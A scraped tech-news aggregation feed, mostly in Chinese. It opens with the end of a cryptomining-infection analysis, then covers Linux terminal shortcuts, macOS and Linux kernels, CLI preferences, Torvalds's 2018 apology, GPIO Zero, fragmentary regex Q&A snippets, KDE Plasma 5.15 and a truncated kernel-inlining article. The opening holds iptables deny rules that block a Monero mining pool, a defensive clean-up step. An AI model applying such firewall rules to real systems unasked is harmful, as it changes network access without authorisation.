可以使用source来执行脚本(source ./脚本),source 指在当前bash环境下执行命令。

关闭不需要的端口

屏蔽访问脚本中的域名 ip,关闭访问挖矿服务器的访问

iptables -A INPUT -s xmr.crypto-pool.fr -j DROP iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP

如果安装了redis ,修改redis 端口,设置复杂高一些密码 。


挖矿程序中毒分析(有这篇够不)
挖矿程序中毒分析(有这篇够不)

大佬们看完多多留言指教。

就此别过!


          Linux 用户必须知道的 14 个常用 Linux 终端快捷键      Cache   Translate Page      

简介:以下是一些每个 linux 用户必须使用的键盘快捷键。 使用命令行时,这些 Linux 快捷键将提升你的工作效率和效率。

你知道什么把专业用户和普通用户分开的吗?掌握键盘快捷键。

好的!这虽不是唯一的要素,但毋庸置疑是一个因素。

不论你使用什么工具,快捷键都能帮助你提高生产力和效率。 考虑一下。如果有人完全使用鼠标来复制整个文本而不是 Ctrl+A,你会怎么想?

Linux 终端也不例外。这里是一些每个用户必须直到并练习的 Linux 终端快捷键。

相信我;一旦你掌握了这些快捷键,你将发现使用 Linux 命令行有多么好。

必须知道的 Linux 快捷键
Linux 用户必须知道的 14 个常用 Linux 终端快捷键

我想提一下一些快捷键可能依赖于你使用的 Shell。 Bash 是最受欢迎的 shell,所以列出的快捷键集中在 Bash。 如果你愿意,你也可以称其为 Bash 快捷键列表。

注意我在键盘快捷键中使用了大写字母,但这并不意味着你在使用快捷键时必须按下 shift 键。 1. Tab

这是你不能没有的 Linux 快捷键。它将节省你 Linux 命令行中的大量时间。

只需要输入一个命令,文件名,目录名甚至是命令选项的开头,并敲击 tab 键。 它将自动完成你输入的内容,或为你显示全部可能的结果。

如果你只记一个快捷键,这将是必选的一个。

2. Ctrl + C

这些是为了在终端上中断命令或进程该按的键。它将立刻终止运行的程序。

如果你想要停止使用一个正在后台运行的程序,只需按下这对组合键。

3. Ctrl + Z

该快捷键将正在运行的程序送到后台。 通常,你可以在使用 & 选项运行程序前之完成该操作, 但是如果你忘记使用选项运行程序,就使用这对组合键。

4. Ctrl + D

这对键盘快捷键将使你退出当前终端。如果你使用 SSH 连接,它将会关闭。 如果你直接使用一个终端,该应用将会立刻关闭。

把它当成“退出”命令。

5. Ctrl + L

你怎么清空你的终端屏幕?我猜是用 clear 命令。

你可以使用 Ctrl+L 清空终端,代替输入 C-L-E-A-R。得心应手,不是吗?

6. Ctrl + A

该快捷键将移动光标到所在行首。

假设你在终端输入了一个很长的命令或路径,并且你想要回到它的开头, 使用方向键移动光标将花费大量时间。注意你无法使用鼠标移动光标到行首。

这是 Ctrl+A 节省时间的地方。

7. Ctrl + E

这对快捷键与 Ctrl+A 相反。 Ctrl+A 送光标到行首,反之 Ctrl+E 移动光标到行尾。

8. Ctrl + U

输入了错误的命令? 代替用退格键来丢弃当前命令,使用 Linux 终端中的 Ctrl+U 快捷键。 该快捷键会擦除从当前光标位置到行首的全部内容。

9. Ctrl + K

这对和 Ctrl+U 快捷键有点像。 唯一的不同在于不是行首,它擦除的是从当前光标位置到行尾的全部内容。

10. Ctrl + W

你刚才了解了擦除到行首和行尾的文本。 但如果你只需要删除一个单词呢?使用 Ctrl+W 快捷键。

使用 Ctrl+W 快捷键,你可以擦除光标位置前的单词。 如果光标在一个单词本身上,它将擦除从光标位置到词首的全部字母。

最好的方法是用它移动光标到要删除单词后的一个空格上, 然后使用 Ctrl+W 键盘快捷键。

11. Ctrl + Y

这将粘贴使用 Ctrl+W,Ctrl+U 和 Ctrl+K 快捷键擦除的文本。 如果你删除了错误的文本或需要在某处使用已擦除的文本,这将派上用场。

12. Ctrl + P

你可以使用该快捷键来查看上一个命令。 你可以反复按该键来返回到历史命令。 在很多终端里,使用 PgUp 键来实现相同的功能。

13. Ctrl + N

你可以结合 Ctrl+P 使用该快捷键。Ctrl+N 显示下一个命令。 如果使用 Ctrl+P 查看上一条命令,你可以使用 Ctrl+N 来回导航。 许多终端都把此快捷键映射到 PgDn 键。

14. Ctrl + R

你可以使用该快捷键来搜索历史命令。

你最喜欢的 Linux 终端快捷键是什么?

我分享了我最喜欢的终端快捷键。你最喜欢的 Linux 终端快捷键有哪些? 如果你有一个(或更多),为什么不在评论区与我们分享?

Linux公社的RSS地址 : https://www.linuxidc.com/rssFeed.aspx

本文永久更新链接地址: https://www.linuxidc.com/Linux/2018-10/154723.htm


          macOS 和 Linux 内核之间有什么不同?      Cache   Translate Page      

有些人可能会认为在 macOS 和 linux 内核之间存在相似之处,因为它们可以处理类似的命令并运行类似的软件。 一些人甚至认为 Apple 的 macOS 是基于 Linux。事实上,两个内核有着不同的历史和特性。 今天,我们就来看看 macOS 和 Linux 内核之间的差异。


macOS 和 Linux 内核之间有什么不同?
macOS 内核的历史

我们将从 macOS 内核的历史开始。 1985 年,由于首席执行官 John Sculley 和苹果董事会的失败,史蒂夫乔布斯离开了苹果公司。 然后,他成立了一家名为 NeXT 的新电脑公司。 乔布斯想要把一台(带有新的操作系统的)新电脑快速推向市场。 为了节省时间,NeXT 团队使用了来自卡内基梅隆的 马赫内核 和部分 BSD 代码库来创建 NeXTSTEP 操作系统 。

NeXT 从未取得财务成功,一部分归功于乔布斯的花钱习惯,就像他还在苹果公司一样。 与此同时,苹果公司曾多次尝试更新其操作系统,甚至与 IBM 合作。 1997 年,苹果公司以 4.29 亿美元收购了 NeXT。 作为交易的一部分,乔布斯回到了苹果公司,NeXTSTEP 成了 macOS 和 iOS 的基础。

Linux 内核的历史

不像 macOS 内核,Linux 不是作为商业努力的一部分而创建的。 相反,它是 由芬兰计算机科学学生 Linus Torvalds 在 1991 年创建的 。 最初,内核是按 Linus 的计算机规格编写的,因为他想使用其新的 80386 处理器。 Linus 在 1991 年 8 月向 Usenet 发布 了他的新内核代码。 很快,他就收到了来自世界各地的代码和功能建议。 次年 Orest Zborowski 将 X windows 系统移植到 Linux,使其能支持图形用户界面。

在过去的 27 年中,Linux 已经慢慢成长并被赋予了特性。 这不再是一个学生的小型项目。 现在它运行在 世界上 大多数计算机设备 和 超级计算机 上。 并不太糟。

macOS 内核的特性

macOS 内核官方称为 XNU。该 缩写 代表“XNU 不是 Unix”。 根据 苹果的 GitHub 页面 ,XNU 是“卡内基梅隆大学的马赫内核与用于编写驱动程序的 FreeBSD 组件和 C++ API 相结合的混合内核”。 代码的 BSD 子系统的部分是 “通常实现为微内核系统中的用户空间服务器” 。 马赫部分负责低级工作,诸如多任务,受保护的内存,虚拟内存管理,内核调试支持和控制台 I/O。

Linux 内核的特性

虽然 macOS 内核结合微内核( 马赫 )和单内核( BSD )的特性,但 Linux 只是一个单内核。 单内核 负责 CPU 管理,内存,进程间通信,设备驱动程序,文件系统和系统服务器调用。

Mac 和 Linux 内核的一行不同

macOS 内核(XNU)比 Linux 时间更长,是基于 2 个很早的代码库的组合。 另一方面,Linux 更新,从头开始编写,并在更多设备上使用。

如果您发现这篇文章很有趣,请花些时间在社交媒体,骇客新闻或 Reddit 上分享。

感想

最近体验了苹果的 iOS 系统,和Android 系统分别对应 Unix 与 Linux 内核。

可以感受到苹果以其流畅的系统和高标准的软件生态营造了较佳的用户体验。

偶然读到这篇文章,就分享给大家以作了解。

参照 macOS High Sierra - Apple The Linux Kernel Archives What is the Difference Between the macOS and Linux Kernels | It’s FOSS
          为什么这么多Linux用户更喜欢命令行而不是GUI?      Cache   Translate Page      

为什么这么多 linux 用户更喜欢 CLI 而非 GUI ? 上次我在 Reddit 关注该问题时,遇到了一些有帮助的投稿:

“处于相同的原因我更喜欢谈论指指点点和七嘴八舌。 可以很好的传达并给出很好的反馈。

这不是一团糟,而是富有诗意的精确。 你根本无法在 2 维面板上为每个命令行适配选项。 光想想 GNU 的查找的 GUI 界面就知道有多么疯狂。”

比起使用 CLI 我更常用 GUI 工作,但这是我做最重要的开发任务时的方式。 命令行界面可以说具有一个陡峭的学习曲线,但一旦你掌握它,你就会喜欢上它,因为它将变成第二天性。

以下是我认为许多 Linux 用户更喜欢命令行界面的最普遍的原因。


为什么这么多Linux用户更喜欢命令行而不是GUI?
1. 更集中注意力

关于 CLI 我最喜欢的是它的无干扰界面。 当然,默认的黑白色在前几次可能有点吓人,一旦你掌握了它,就会得到它的祝福。

在任何时候,界面都只显示当前项目的必要信息,而其它信息都是一些按键。 这样,你就会专注于重要的事上。

2. 更详细

想一想――每个命令行选项都放入 GUI 选项面板中几乎是不可能的。 文本编辑器和 IDE (以及其它复杂的应用)设法在变成期间把各种选项放进工具栏和隐藏布局中, 但随着时间的推移会添加更多的功能选项――当调用时,在后台调用命令。

如果你已经构建了一个 GUI 应用,在你知道每个在应用窗口中看到的选项与在后台运行的命令相关联之前。 实际上,在把功能实现为 GUI 选项之前,首先会对 CLI 方面进行排序。 由于这一事实, CLI 在选项集和可用性方面总是更加详细。

3. 只需较少的存储空间

这个或多或少是一个明智的选择。 基于命令行的应用只需更少的空间,因为他们缺少 GUI 应用具有的“肉体”,不管他们多么轻量。

这意味着如果存储空间对你来说是一个问题,那么你最好使用基于 CLI 的应用而不用担心降低工作效率。 这引发了我的下一个观点:

4. 提高生产力

在无干扰模式下工作已经把生产力提高了一个等级,并且大多数时候只使用键盘这一事实可以改善你的工作流程和精神。

一位开发的朋友曾告诉我, “你工作时碰鼠标的频率越低,你的效率就越高” 。 所以,难怪熟练的程序员更喜欢使用基于 CLI 的编辑器,例如: Vim 和 Emacs 。

5. 记忆效率更高

使用 CLI 工作比使用 GUI 应用程序更益于记忆,一个好的例子就是 Git 。 Git 的 GUI 应用程序具有足够的记忆效率,但直接使用 Git 命令行更加利于对你操作的记忆。

6. 与发行版无关(跨平台)

命令行应用很少使用不同的命令,无论运行在哪个发行版上, 但 GNU/Linux, macOS 和 windows 平台上的 GUI 应用程序通常不是这种情况, 因为可以重新排列选项以适应平台的 UI 方案。

例如,在 Linux 生态系统中, bash 使用相同的命令。 作为一个系统管理员,你需要做的就是学习 bash 并且你应该能够使用任何其它的 Linux 发行版。

这里还有一些 CLI 吸引许多 Linux 用户的其它原因,包含管道,脚本自动化和整体速度。

无论你使用命令行还是 GUI 应用,我相信你对为什么这么多 Linux 用户更喜欢使用命令行而不是 GUI 应用会有所了解。 在下面的讨论部分与我们分享你的意见。

感想

对于后端工作,我像大部分 Linux 一样比较倾向于使用命令行。

优点(原因)如上所述。

参照 Why Do So Many Linux Users Prefer the Command Line to a GUI?

Linux公社的RSS地址 : https://www.linuxidc.com/rssFeed.aspx

本文永久更新链接地址: https://www.linuxidc.com/Linux/2018-10/154721.htm


          Linux之父为过去的言行道歉,宣布离开社区反思      Cache   Translate Page      

9月17日,linux 4.19-rc4发布,成为Linux 4.19最新的开发测试内核。这是现阶段一个相当常规的内核更新,但令人震惊的是,Linux之父Linus Torvalds宣布将暂时离开内核维护社区,Greg Kroah-Hartman将接管接下来的Linux 4.19周期。

Linus Torvalds目前正在休假中。他在昨天的4.19-rc4公告中写道:“我将抽出时间休息并寻求一些帮助,了解如何理解他人的情绪并做出适当的反应。”

Linus Torvalds以尖酸刻薄闻名,他的暴脾气大家有目共睹。

在邮件列表消息中,Torvalds承认他对其他Linux程序员和项目贡献者的“电子邮件中的轻率攻击”显得非常不专业和不必要。...我现在知道这样不太好,我真的很抱歉。”

“我需要改变我的一些行为,”邮件中写到,“我想向因我的个人行为受到伤害的人道歉,可能有些人因此彻底退出了内核开发。”

Torvalds于1991年创建了Linux操作系统内核,从此开始监督其开发,自此Linux内核成为了数以亿计的Android设备、互联网和企业服务器、超级计算机、Chromebook和其他PC,路由器和网络设备等产品的核心。

Torvalds管理着内核版本发布,所有内容版本均来自全球1,200多家公司的10,000多名开发人员提交的源代码,并通过维护人员团队进行过滤。

作为Linux内核的负责人,Torvalds一直秉持代码的质量和可靠性。可能所承受压力比较大,如果有人提交的补丁在他看来是不合标准的话,他会直截了当地表达他的感受。

Torvalds说要从项目中休息一下――就像之前创建Git的那次休假一样,来做一些自我反思。

“我需要休息一下,去调整自己的言行举止,并解决我的工具和工作流程中的一些问题,”他写道。

尽管Torvalds有着无可置疑的天赋,但他对待社区参与者的方式使他成为一个有争议性的人物。

对他行为的相关抱怨可以追溯到几年前。 2013年,内核开发人员Sarah Sharp称Torvalds的行为是不专业的,称Torvalds“主张进行人身恐吓和暴力行为。”Torvalds随后指责Sharp把自己描述成受害者博取同情,不接受任何劝他应该改变的建议。

在2015年发表演讲说到英伟达时,Torvalds转向一台摄像机说“so Nvidia fuck you”并竖起了中指。 Torvalds还有无数其他粗鲁行为的例子,但弄错内核维护者峰会的时间地点导致主办方对会议安排进行调整似乎是个转折点,至少Torvalds自己是什么说的。

9月初,Linus Torvalds搞错了内核维护者峰会的时间地点,主办方只好因此更改了峰会的安排。今年的内核维护者峰会原计划于 11 月 12 日在加拿大温哥华举行,但 Linus Torvalds 已经计划在峰会举行的那一周与家人一起去度假。最后主办方和 Linus 讨论了两个选项:在没有 Linus 的情况下继续在温哥华举行内核维护者峰会;在 Linus 参加的情况下将峰会改到苏格兰爱丁堡,与开源欧洲峰会同期举行。

Linus 建议选择第一个,没有 Linus 的维护者峰会将是一个有趣的实验,但主办方的共识是改到爱丁堡举行将是更好的选项。

这意味着今年的内核峰会将于 10 月 22 日下午 在爱丁堡举行 。主办方对给与会者带来的不便表示道歉,有人猜测 Linus 可能是故意的 。

“整个情况开启了一场完全不同的讨论,” Torvalds写道。 “而且偶然的,我意识到我完全误读了一些涉及的人。”这是这次事件让Torvalds意识到要开始“照照镜子”了。

“我不是一个能对他人的感受感同身受的人,很多人对此也并不惊讶。 多年来,我误解了很多人,而我自己并没有意识到我对某些情况的判断有多么糟糕,这样造成了一种不专业的环境,这样不太好。”

“我将抽出时间,学习如何理解人们的情绪和作出适当回应。”

这封电子邮件同时震撼了捍卫和憎恶Torvalds管理方法的人。

Linus澄清说:“这不是说我已经耗尽了,我需要离开休息。我不觉得我想停止维护Linux。反之,我仍然很想继续做这个我已经工作了近三十年的项目。”

参考链接:

https://siliconangle.com/2018/09/16/linus-torvalds-takes-time-linux-learn-empathy-skills/

https://www.phoronix.com/scan.php?page=news_item&px=Linux-4.19-rc4-Released

https://www.cnbeta.com/articles/tech/765783.htm

https://www.theregister.co.uk/2018/09/17/linus_torvalds_apology/


          Why GPIO Zero Is Better Than RPi.GPIO for Raspberry Pi Projects      Cache   Translate Page      

The Raspberry Pi is the perfect computer for learning. The linux-based Raspbian OS has python built in, which makes it a great first system for beginner coders. Its General Purpose Input/Output (GPIO) pins make it easy for budding makers to experiment with DIY electronics projects.

It’s especially easy when you use code libraries that control these pins, and the popular RPi.GPIO Python library is an excellent example of such a library. But is it the best path for beginners? Join us as we investigate.

What Is GPIO Zero?

The GPIO Zero library is a Python library for working with GPIO pins. It was written by Raspberry Pi community manager Ben Nuttall . Aimed at being intuitive and “friendly,” it streamlines Python code for most regular Raspberry Pi use cases.

Combining simple naming practices and descriptive functions, GPIO Zero is more accessible for beginners to understand. Even seasoned users of the RPi.GPIO library may prefer it―and to understand why, let’s take a look at how RPi.GPIO compares to GPIO Zero.

What’s Wrong With RPi.GPIO?

Nothing. Nothing at all. RPi.GPIO was released in early 2012 by developer Ben Croston. It is a robust library allowing users to control GPIO pins from code. It features in almost every beginner project Raspberry Pi Projects for Beginners Raspberry Pi Projects for Beginners These 10 Raspberry Pi projects for beginners are great for getting an introduction to the hardware and software capabilities of the Pi, and will help you get up and running in no time! Read More we’ve covered.

Despite its extensive use, RPi.GPIO was never designed for end users. It is a testament to RPi.GPIO’s good design that so many beginners use it nonetheless.

What’s So Good About GPIO Zero?

When you arelearning Python code, you learn that it should be easy to read and as short as possible. GPIO Zero aims to cover both points. Built on top of RPi.GPIO as a front-end language wrapper, it simplifies GPIO setup and usage.

Consider the following example, setting up and turning on an LED:


Why GPIO Zero Is Better Than RPi.GPIO for Raspberry Pi Projects

The above code should be pretty familiar to anyone who has used their Pi to control LEDs .

The RPi.GPIO library is imported, and a pin for the LED is declared. The pin layout type is set up (BCM and BOARD mode are explained in our GPIO guide Everything You Need to Know About Raspberry Pi GPIO Pins Everything You Need to Know About Raspberry Pi GPIO Pins The Raspberry Pi is a fantastic little computer, but what do the GPIO (General Purpose Input/Output) pins do exactly? In short, they open up a whole world of DIY electronic tinkering and invention. Read More ), and the pin is set up as an output. Then, the pin is turned on.

This approach makes sense, but the GPIO Zero way of doing it is much simpler:


Why GPIO Zero Is Better Than RPi.GPIO for Raspberry Pi Projects

GPIO Zero has a module for LEDs, imported at the start. This means you can declare the pin number, and call the led.on() method.

Why Is GPIO Zero’s Approach Better?

There are some reasons why this method of working is an improvement on RPi.GPIO.

Firstly, it meets the “easy to read, short as possible” requirement. While the RPi.GPIO setup statements are easy enough to understand, they’re not necessary. An LED will always be an output, so GPIO Zero sets up the pins behind the scenes. The result is just three lines of code to set up, then light an LED.

You might notice that there is no board mode setup in the GPIO Zero example. The library only uses Broadcom (BCM) numbering for the pins. Library designer Ben Nuttall explains why in a 2015 RasPi.tv interview :

“BOARD numbering might seem simpler but I’d say it leads new users to think all the pins are general purpose―and they’re not. Connect an LED to pin 11, why not connect some more to pins 1, 2, 3 and 4? Well 1 is 3V3. 2 and 4 are 5V. A lack of awareness of what the purpose of the pins is can be dangerous.”

Put this way, it makes absolute sense to use the BCM numbers. Given that it GPIO Zero will be standard in the Raspberry Pi documentation going forward, it’s worth learning!

Is GPIO Zero Actually Better?

While it seems more straightforward on the surface, does the new library have any problems? As with any new coding library, it is a matter of opinion. On the one hand, removing the setup code is excellent for beginners and seasoned coders alike. Writing code is more straightforward and quicker.

On the other hand, knowing exactly what is going on is important for learning. Take the example of setting up a button from the GPIO Zero documentation :


Why GPIO Zero Is Better Than RPi.GPIO for Raspberry Pi Projects

The button module simplifies setup for push buttons. It knows buttons are inputs, so uses the declared pin number for setup. Checking for a button press is easier too, with the .is_pressed to detect button presses.

We used this exact functionality in the Raspberry Pi button tutorial 2 Ways to Add a Button to Your Raspberry Pi Project 2 Ways to Add a Button to Your Raspberry Pi Project How do you connect a button to your Raspberry Pi? Here are two ways to get started, demonstrated using Python and an LED. Read More , which is a great way to familiarize yourself with the differences in the libraries.

Users of the RPi.GPIO library will notice that the internal pull-up/pull-down resistors of the Pi are not set up in code. This raises an interesting question. Is it essential for beginners to know about pull-up/down resistors? Again, Ben Nuttall has an answer to this question:

“You might argue that it’s good to know about pull ups and pull downs, and you’d be right―but why do I have to teach that on day one?[…] If you want to teach the electronics in more depth there’s plenty of scope for that―but it shouldn’t be mandatory if you’re just getting started.”

On the whole, the simple approach of GPIO Zero is likely a good thing for beginners and veterans alike. Besides, RPi.GPIO isn’t going anywhere. It will always be there to switch back to if needed.

Is Python the Only Option?

Python is the language the Pi is known for, but it’s not the only option. If you are already familiar with programming in the C language, then Wiring Pi has you covered.

Alternatively, if you already program in javascript, Node.js can easily be installed on the Pi. GPIO access is available through the rpi-gpio npm library . Ruby on Rails can also be installed on the Raspberry Pi, though the Pi might not be the best way to learn Rails !

All of these alternatives, along with multi-language libraries like the excellent pigpio can make choosing a library confusing. This is where GPIO Zero excels: for beginners wondering how and where to start.

If you are at a point where you need something it does not provide, you will be more than ready to dive into these other libraries at your own pace.

Getting Started With GPIO Zero Yourself

GPIO Zero is the newest library to make a splash for the Pi and with good reason. For most users, it makes coding for GPIO pins simpler to read and quicker to write.

Given the Raspberry Pi’s usage in education, anything that makes learning more natural is a good thing. While RPi.GPIO has been perfect up until now, GPIO Zero takes a good idea and makes it even better.

A great way to get started with GPIO Zero is to take a beginner project like theMusical Door Sensor Play Your Own Theme Tune When You Enter the Room With Raspberry Pi Play Your Own Theme Tune When You Enter the Room With Raspberry Pi Have you ever wanted to arrive home to a personal welcome? In this simple Raspberry Pi project we'll use a reed switch to trigger a tune when a door is opened. Read More and port it to the new library.


          Non-greedy correspondence with grep script      Cache   Translate Page      
Complex non-greedy correspondence with regular expressions

I'm trying to parse rows from a HTML table with cells containing specific values with regular expressions in python. My aim in this (contrived) example is to get the rows with "cow". import re response = ''' <tr class="someClass">

How to make a non greedy match in grep?

I want to grep the shortest match and the pattern should be something like: <car ... model=BMW ...> ... ... ... </car> ... means any character and the input is multiple lines.You're looking for a non-greedy (or lazy) match. To get a non-greedy

Perl regex non greedy correspondence

I am piping ls into Perl looking for lines that contain some any characters followed by ".mp4.mp3" at the end of the line. I want to remove the ".mp4" from the middle of the line. Here is my command: ls | perl -pe 's|(.+?)\.mp4\.mp3$|\

Replace the text using a non-greedy correspondence?

I have a SOAP Call that looks like this: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"

Keep TRUE non-greedy correspondence using regex Perl

From the following word "tacacatac", I want to match "cat". It seems like the regex c.*?t should give me this, but I guess it starts with the first occurrence of "c" and then from there finds the next "t", and thus,

Non-greedy correspondence In Geany, I want to match the titles of books. One example: Michael Lewis, Liar's Poker, Hodder & Stoughton Ltd, London, 1989 I try to do so with this regex code: ,\s.*?, This regex matches too much. it matches: [, Liar's Poker,] and [,London,]. I wa Non-greedy searches with Hpricot?

I'm using Hpricot for traversing an XML packet. For each node I'm on, I want to get a list of the immediate children . However when using (current_node/:section) I'm getting ALL descendant sections, not just the immediate children. How can I get arou

Non-greedy combination? with grep

I'm writing a bash script which analyses a html file and I want to get the content of each single <tr>...</tr>. So my command looks like: $ tr -d \\012 < price.html | grep -oE '<tr>.*?</tr>' But it seems that grep gives me the r

I need to look for a non-exact match on unix and I can not do it with grep

I know on the file A, has a string that contains dc034 however, i cannot get that with grep command either using the word count or by searching for the string. What am i doing wrong? Suggestions grep "dc034" filedirectoryA | wc 0 0 0 grep -Fv &q

Non-greedy match since the end of the channel with regsub

I have a folder path like following: /h/apps/new/app/k1999 I want to remove the /app/k1999 part with the following regular expression: set folder "/h/apps/new/app/k1999" regsub {\/app.+$} $folder "" new_folder But the result is /h: too

Is it possible to write a script that will allow windows 7 to open a non-xls file with Excel?

I'd like to know if it is possible to write a python script which will make Windows 7 open a non-xls file with Excel, such as: file_path = somefile open_file_with_excel(filepath) The script should find Excel application, because Excel's installation

How to use echo with grep in a Unix shell script?

I need to use echo with grep in a shell script. Can I use it? I tried this, but is incorrect: echo linux: grep "Linux" ~/workspace/ep-exercicios/m1/e2/intro-linux.html | wc -w I need show the message: Linux: (number of Linux word on the document

Problems with a non-greedy C ++ regex I want to parse the following Lua code: [1]={['x']=198;['y']=74;['width']=99;['height']=199;};[2]={['x']=82;['y']=116;['width']=82;['height']=164;}; Notice that there are two keys in the table: [1] and [2]. I want to get only the value for the [1] ke Batch script to return non-duplicate files with a different extension

I don't have much experience with batch scripting but this seems like a suitable task for it: I have a very large directory with recordings of a specific extension, say '.wav'. In the same folder, I'm supposed to have, for each of these recordings, a


          KDE Plasma 5.15桌面环境启动速度更快,Konsole完全支持Emojis      Cache   Translate Page      

在最新的Usability&Productivity周报中,KDE开发人员Nate Graham介绍了KDE Plasma 5.15桌面环境以及KDE Applications 18.12和KDE Frameworks 5.51软件套件的一些改进和新功能。

现在,即将于2018年10月9日发布的KDE Plasma 5.14桌面环境的工作即将完成,开发团队现在通过各种性能改进和添加,集中精力开发下一个主要版本KDE Plasma 5.15。核心应用程序和组件的新功能。

根据Nate Graham的最新报告,与之前的版本相比,即将推出的KDE Plasma 5.15桌面环境的启动速度将提高100ms。此外,KRunner将不再显示来自Firefox和文件夹视图窗口小部件的重复书签,并且Konsole配置文件窗口小部件将更好地使用键盘导航。

此外,KDE Plasma 5.15承诺与GNOME应用程序具有更好的兼容性,因为角度调整大小鼠标光标现在可以正确使用默认的Breeze主题,并且每当在应用后建议系统重新启动时,Plasma Discover的Update Notifier小部件都支持显示“重新启动”按钮更新。

最后但并非最不重要的是,KDE Plasma 5.15桌面环境将改进Kickoff应用程序启动器的搜索字段,使其看起来像搜索字段,并将始终在整个用户界面中使用“关闭”术语,以便将各种操作用作替换以前版本中使用的“关闭”术语。


KDE Plasma 5.15桌面环境启动速度更快,Konsole完全支持Emojis
KDE Applications 18.12和KDE Frameworks 5.51带来了许多改进

Nate Graham还报告了KDE Applications 18.12和KDE Frameworks 5.51开源软件套件的一些改进和新功能,后者将于2018年10月13日这个周末发布,而前者将于今年12月左右发布。


KDE Plasma 5.15桌面环境启动速度更快,Konsole完全支持Emojis

KDE Applications 18.12软件套件承诺Okular文档查看器中的文本注释,Gwenview图像查看器中的鼠标滚动缩放,Konsole终端模拟器中对表情符号字符的完全支持,以及支持KCalc计算器应用程序重复使用相同的计算Enter键或“=”按钮。

另一方面,即将发布的KDE Frameworks 5.51软件套件将改进Baloo文件索引系统,修复可能导致可移动媒体在Device Notifier和Places面板中显示的错误,即使它已被删除,并且不再显示已安装磁盘驱动器的标志。


KDE Plasma 5.15桌面环境启动速度更快,Konsole完全支持Emojis
KDE Plasma 5.15桌面环境启动速度更快,Konsole完全支持Emojis

“磁盘在安装时不再收到标志;现在只有当它们有一些不寻常的状态时才会得到一个 - 未安装,加密等等。这样可以更好地区分用于磁盘的图标,特别是在小尺寸时,”Nate Graham在他的每周报告中解释说。


KDE Plasma 5.15桌面环境启动速度更快,Konsole完全支持Emojis

KDE Frameworks 5.51还为硬盘驱动器添加了一个新图标,默认情况下为“新安装”显示“位置”面板中网络位置的更好图标,对所有“位置”面板条目使用“编辑...”上下文菜单项的右侧图标,以及 查看根卷的“属性”对话框时,列出卷的硬件磁盘。

linux公社的RSS地址 : https://www.linuxidc.com/rssFeed.aspx

本文永久更新链接地址: https://www.linuxidc.com/Linux/2018-10/154711.htm


          How newlines affect Linux kernel performance      Cache   Translate Page      

The linux kernel strives to be fast and efficient. As it is written mostly in C, it can mostly control how the generated machine code looks. Nevertheless, as the kernel code is compiled into machine code, the compiler optimizes the generated code to improve its performance. The kernel code, however, employs uncommon coding techniques, which can fail code optimizations. In this blog-post, I would share my experience in analyzing the reasons for poor code inlining of the kernel code. Although the performance improvement are not significant in most cases, understanding these issues are valuable in preventing them from becoming larger. New-lines, as promised, will be one of the reasons, though not the only one.

New lines in inline assembly

One fine day, I encountered a strange phenomenon: minor changes I performed in the Linux source code, caused small but noticeable performance degradation. As I expected these changes to actually improve performance, I decided to disassemble the functions which I changed. To my surprise, I realized that my change caused functions that were previously inlined, not to be inlined anymore. The decision not to inline these functions seem dubious as they were short.

I decided to further investigate this issue and to check whether it affects other parts of the kernel. Arguably, it is rather hard to say whether a function should be inlined, so some sort of indication of bad inlining decisions is needed. C functions that are declared with the inline keyword are not bound to be inlined by the compiler, so having a non-inlined function that is marked with the inline keyword is not an indication by itself for bad inlining decision.

Arguably, there are two simple heuristics to find functions which were suspiciously not inlined for the wrong reason. One heuristic is to look for short (binary-wise) functions by looking at the static symbols. A second heuristic is to look for functions which appear in multiple translation units (objects), as this might indicate they were declared as inline but were eventually not inlined, and that they are in common use. In both cases, there may be valid reasons for the compiler not to inline functions even if they are short, for example if they are used as a value for a function pointer. However, they can give an indication if something is "very wrong" in how inlining is performed, or more correctly, ignored.

In practice, I used both heuristics, but in this post I will only use the second one to check whether inlining decisions seem dubious. To do so I rebuild the kernel, using the localyesconfig make target to incorporate the modules into the core. I ensure the "kernel hacking" features in the config are off, as those tend to blow the size of the code and rightfully cause functions not to be inlined. I then looked for static function which had the most instances in the built kernel:

$ nm --print-size ./vmlinux | grep ' t ' | cut -d' ' -f2- | sort | uniq -c | grep -v '^ 1' | sort -n -r | head -n 5 <u>Instances Size Function Name</u> 36 0000000000000019 t <strong>copy_overflow</strong> 8 000000000000012f t jhash 8 000000000000000d t <strong>arch_local_save_flags</strong> 7 0000000000000017 t dst_output

6 000000000000004e t <strong>put_page</strong>

As seen, the results are suspicious. As mentioned before, in some cases there are good reasons for functions not to be inlined. jhash () is a big function (303 bytes) so it is reasonable for it is not to be inlined. dst_output () address is used as a function pointer, which causes it not to be inlined. Yet the other functions seem to be great candidates for inlining, and it is not clear why they are not inlined. Let's look at the source code of copy_overflow (), which has many instances in the binary:

static inline void copy_overflow(int size, unsigned long count) { WARN(1, "Buffer overflow detected (%d < %lu)!\n", size, count);

}

Will the disassembly tell us anything?

0xffffffff819315e0 <+0>: push %rbp 0xffffffff819315e1 <+1>: mov %rsi,%rdx 0xffffffff819315e4 <+4>: mov %edi,%esi 0xffffffff819315e6 <+6>: <strong>mov $0xffffffff820bc4b8,%rdi</strong> 0xffffffff819315ed <+13>: mov %rsp,%rbp 0xffffffff819315f0 <+16>: <strong>callq 0xffffffff81089b70 <__warn_printk></strong> 0xffffffff819315f5 <+21>: <strong>ud2</strong> 0xffffffff819315f7 <+23>: pop %rbp

0xffffffff819315f8 <+24>: retq

Apparently not. Notice that out of the 9 assembly instructions that are shown above, 6 deal with the function entry and exit - for example, updating the frame pointer, and only the 3 bolded ones are really needed.

To understand the problem, we must dig deeper and look at the warning mechanism in Linux. In x86, this mechanism shares the same infrastructure with the bug reporting mechanism. When a bug or a warning are triggered, the kernel prints the filename and the line number in the source-code that triggered the bug, which can then used to analyze the root-cause of the bug. A naive implementation, however, would cause the code-cache to be polluted with the this information as well as the function call to the function that prints the error message, consequently causing performance degradation.

Linux therefore uses a different scheme by setting an exception triggering instruction ( ud2 on x86) and saving the warning information in a bug table that is set in a different section in the executable. Once a warning is triggered using the WARN() macro, an exception is triggered and the exception handler looks for the warning information - the source-code filename and line - in the table.

Inline assembly is used to save this information in _BUG_FLAGS() . Here is its code after some simplifications to ease readability:

